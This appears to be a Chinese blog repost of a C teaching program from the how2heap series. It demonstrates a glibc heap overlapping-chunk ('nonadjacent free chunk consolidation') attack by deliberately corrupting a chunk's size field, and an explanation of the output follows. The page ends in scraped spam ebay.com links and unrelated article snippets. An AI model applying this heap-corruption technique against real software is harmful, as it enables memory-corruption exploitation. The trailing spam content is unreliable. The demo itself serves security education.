10.overlapping_chunks_2

源代码

 1 /*
 2  Yet another simple tale of overlapping chunk.
 3
 4  This technique is taken from
 5  https://loccs.sjtu.edu.cn/wiki/lib/exe/fetch.php?media=gossip:overview:ptmalloc_camera.pdf.
 6
 7  This is also referenced as Nonadjacent Free Chunk Consolidation Attack.
 8
 9 */
10
11 #include <stdio.h>
12 #include <stdlib.h>
13 #include <string.h>
14 #include <stdint.h>
15 #include <malloc.h>
16
17 int main(){
18
19   intptr_t *p1,*p2,*p3,*p4,*p5,*p6;
20   unsigned int real_size_p1,real_size_p2,real_size_p3,real_size_p4,real_size_p5,real_size_p6;
21   int prev_in_use = 0x1;
22
23   fprintf(stderr, "\nThis is a simple chunks overlapping problem");
24   fprintf(stderr, "\nThis is also referenced as Nonadjacent Free Chunk Consolidation Attack\n");
25   fprintf(stderr, "\nLet‘s start to allocate 5 chunks on the heap:");
26
27   p1 = malloc(1000);
28   p2 = malloc(1000);
29   p3 = malloc(1000);
30   p4 = malloc(1000);
31   p5 = malloc(1000);
32
33   real_size_p1 = malloc_usable_size(p1);
34   real_size_p2 = malloc_usable_size(p2);
35   real_size_p3 = malloc_usable_size(p3);
36   real_size_p4 = malloc_usable_size(p4);
37   real_size_p5 = malloc_usable_size(p5);
38
39   fprintf(stderr, "\n\nchunk p1 from %p to %p", p1, (unsigned char *)p1+malloc_usable_size(p1));
40   fprintf(stderr, "\nchunk p2 from %p to %p", p2,  (unsigned char *)p2+malloc_usable_size(p2));
41   fprintf(stderr, "\nchunk p3 from %p to %p", p3,  (unsigned char *)p3+malloc_usable_size(p3));
42   fprintf(stderr, "\nchunk p4 from %p to %p", p4, (unsigned char *)p4+malloc_usable_size(p4));
43   fprintf(stderr, "\nchunk p5 from %p to %p\n", p5,  (unsigned char *)p5+malloc_usable_size(p5));
44
45   memset(p1,‘A‘,real_size_p1);
46   memset(p2,‘B‘,real_size_p2);
47   memset(p3,‘C‘,real_size_p3);
48   memset(p4,‘D‘,real_size_p4);
49   memset(p5,‘E‘,real_size_p5);
50
51   fprintf(stderr, "\nLet‘s free the chunk p4.\nIn this case this isn‘t coealesced with top chunk since we have p5 bordering top chunk after p4\n");
52
53   free(p4);
54
55   fprintf(stderr, "\nLet‘s trigger the vulnerability on chunk p1 that overwrites the size of the in use chunk p2\nwith the size of chunk_p2 + size of chunk_p3\n");
56
57   *(unsigned int *)((unsigned char *)p1 + real_size_p1 ) = real_size_p2 + real_size_p3 + prev_in_use + sizeof(size_t) * 2; //<--- BUG HERE
58
59   fprintf(stderr, "\nNow during the free() operation on p2, the allocator is fooled to think that \nthe nextchunk is p4 ( since p2 + size_p2 now point to p4 ) \n");
60   fprintf(stderr, "\nThis operation will basically create a big free chunk that wrongly includes p3\n");
61   free(p2);
62
63   fprintf(stderr, "\nNow let‘s allocate a new chunk with a size that can be satisfied by the previously freed chunk\n");
64
65   p6 = malloc(2000);
66   real_size_p6 = malloc_usable_size(p6);
67
68   fprintf(stderr, "\nOur malloc() has been satisfied by our crafted big free chunk, now p6 and p3 are overlapping and \nwe can overwrite data in p3 by writing on chunk p6\n");
69   fprintf(stderr, "\nchunk p6 from %p to %p", p6,  (unsigned char *)p6+real_size_p6);
70   fprintf(stderr, "\nchunk p3 from %p to %p\n", p3, (unsigned char *) p3+real_size_p3);
71
72   fprintf(stderr, "\nData inside chunk p3: \n\n");
73   fprintf(stderr, "%s\n",(char *)p3);
74
75   fprintf(stderr, "\nLet‘s write something inside p6\n");
76   memset(p6,‘F‘,1500);
77
78   fprintf(stderr, "\nData inside chunk p3: \n\n");
79   fprintf(stderr, "%s\n",(char *)p3);
80
81
82 }

运行结果

首先申请5个1000字节的堆p1,p2,p3,p4,p5

将5个堆都赋值上A,B,C,D,E以区分

这里因为字节对齐,又造成了每个堆使用了下个堆的prev_size字段

接着释放p4,由于后面有p5,所以不担心和top chunk合并

然后修改p2的size=1000+1000+0x10+1

现在&p2+p2->size=&p4

libc判断p2的下一个堆块为p4,忽略了p3

l将误以为原来的p2+p3这一段内存为一个新的堆p2(这里没有注意到p4的prev_size字段)

然后将p2释放

由于p4处于释放状态,所以p4和p2合并

p3被覆盖在新合并的堆中

申请一个2000字节的堆p6,即使用这个新合并的堆

p3被包含在p6中,又造成了overlapping

修改p6内容即可修改p3内容

与之前的overlapping相比

之前的是释放后修改size,重新申请后覆盖了后面的堆

这个是先修改size,使之大小覆盖了后面的堆,再释放后和已释放的后后个堆合并,包含了要覆盖的堆

重新申请后即可覆盖包含的堆的内容

原文地址:https://www.cnblogs.com/pfcode/p/10992467.html

时间: 2024-10-19 01:05:09

10.overlapping_chunks_2的相关文章

百度粉红色风科技上来看积分

http://www.ebay.com/cln/508gua_gvqjq/-/167266747010/2015.02.10 http://www.ebay.com/cln/jhu2290/-/167423283013/2015.02.10 http://www.ebay.com/cln/cha.m22/-/167166250017/2015.02.10 http://www.ebay.com/cln/fenyu56/-/167382503016/2015.02.10 http://www.eb

百度附件是分开就爱死了开发了

http://www.ebay.com/cln/m_m3154/-/167249028014/2015.02.10 http://www.ebay.com/cln/zhsu412/-/167238372018/2015.02.10 http://www.ebay.com/cln/mi.han5/-/167545028015/2015.02.10 http://www.ebay.com/cln/lij5252/-/167389481016/2015.02.10 http://www.ebay.co

使用 Chrome 浏览器插件 Web Scraper 10分钟轻松实现网页数据的爬取

本文标签: WebScraper Chrome浏览器插件 网页数据的爬取 使用Chrome 浏览器插件 Web Scraper 可以轻松实现网页数据的爬取,不写代码,鼠标操作,点哪爬哪,还不用考虑爬虫中的登陆.验证码.异步加载等复杂问题. Web Scraper插件 Web Scraper 官网中的简介: Web Scraper Extension (Free!)Using our extension you can create a plan (sitemap) how a web site

Install Hyper-V on Windows 10

? Enable Hyper-V to create virtual machines on Windows 10.Hyper-V can be enabled in many ways including using the Windows 10 control panel, PowerShell (my favorite) or using the Deployment Imaging Servicing and Management tool (DISM). This documents

10.4 补充范围内丢失的值

select y.yr.coalesce(x.cnt,0) as cntfrom (select min_year-mod(cast(min_year as int),10)+rn as yrfrom (select (select min(extract(year from hreadate))from emp) as min_year,id-1 as rnfrom t10) a) yleft join(select extract(year from hredate) as yr,count

10.6 监控io性能 - 10.7 free命令 - 10.8 ps命令 - 10.9 查看网络状态 - 10.10 linux下抓包

- 10.6 监控io性能 - 10.7 free命令 - 10.8 ps命令 - 10.9 查看网络状态 - 10.10 linux下抓包 - 扩展tcp三次握手四次挥手 http://www.doc88.com/p-9913773324388.html  - tshark几个用法:http://www.aminglinux.com/bbs/thread-995-1-1.html  # 10.6 监控io性能 ![mark](http://oqxf7c508.bkt.clouddn.com/b

Windows 10 UWP程序标题栏设置

原文:Windows 10 UWP程序标题栏设置 在Windows 10程序中,以前只能用于全屏方式的Metro程序现在可以运行在窗口模式下了,并且改了个新名字,叫Windows 通用程序(Universal Windows app),简称UWP程序.新的UWP程序虽然大体上还是和以前的Metro程序差不多的,但还是引入了一点新东西的,本文这里就介绍一下它的标题栏设置的几个特性. 隐藏标题栏: 将应用界面扩展至 Titlebar 区域 CoreApplication.GetCurrentView

How to enable C development in a Windows 10 development environment VM

To enable C development in a Windows 10 development environment VM, follow these steps: Start VS in the Windows 10 development environment VM. Choose "File" -> "New" -> "Project", choose "Open Visual Studio Install

设置UWP程序自启动(Automate launching Windows 10 UWP apps)

原文:设置UWP程序自启动(Automate launching Windows 10 UWP apps) 在开发UWP程序的过程中,有时候需要设置程序的自启.本人实现的步骤如下: 1.在VS中激活Protocol (Package.appxmanifest --> Declarations --> Add Protocol),图示如下: 2.编译并发布项目(Build and Deploy) 发布之后Protocol被激活,在(控制面板 --> 程序 --> 默认程序 -->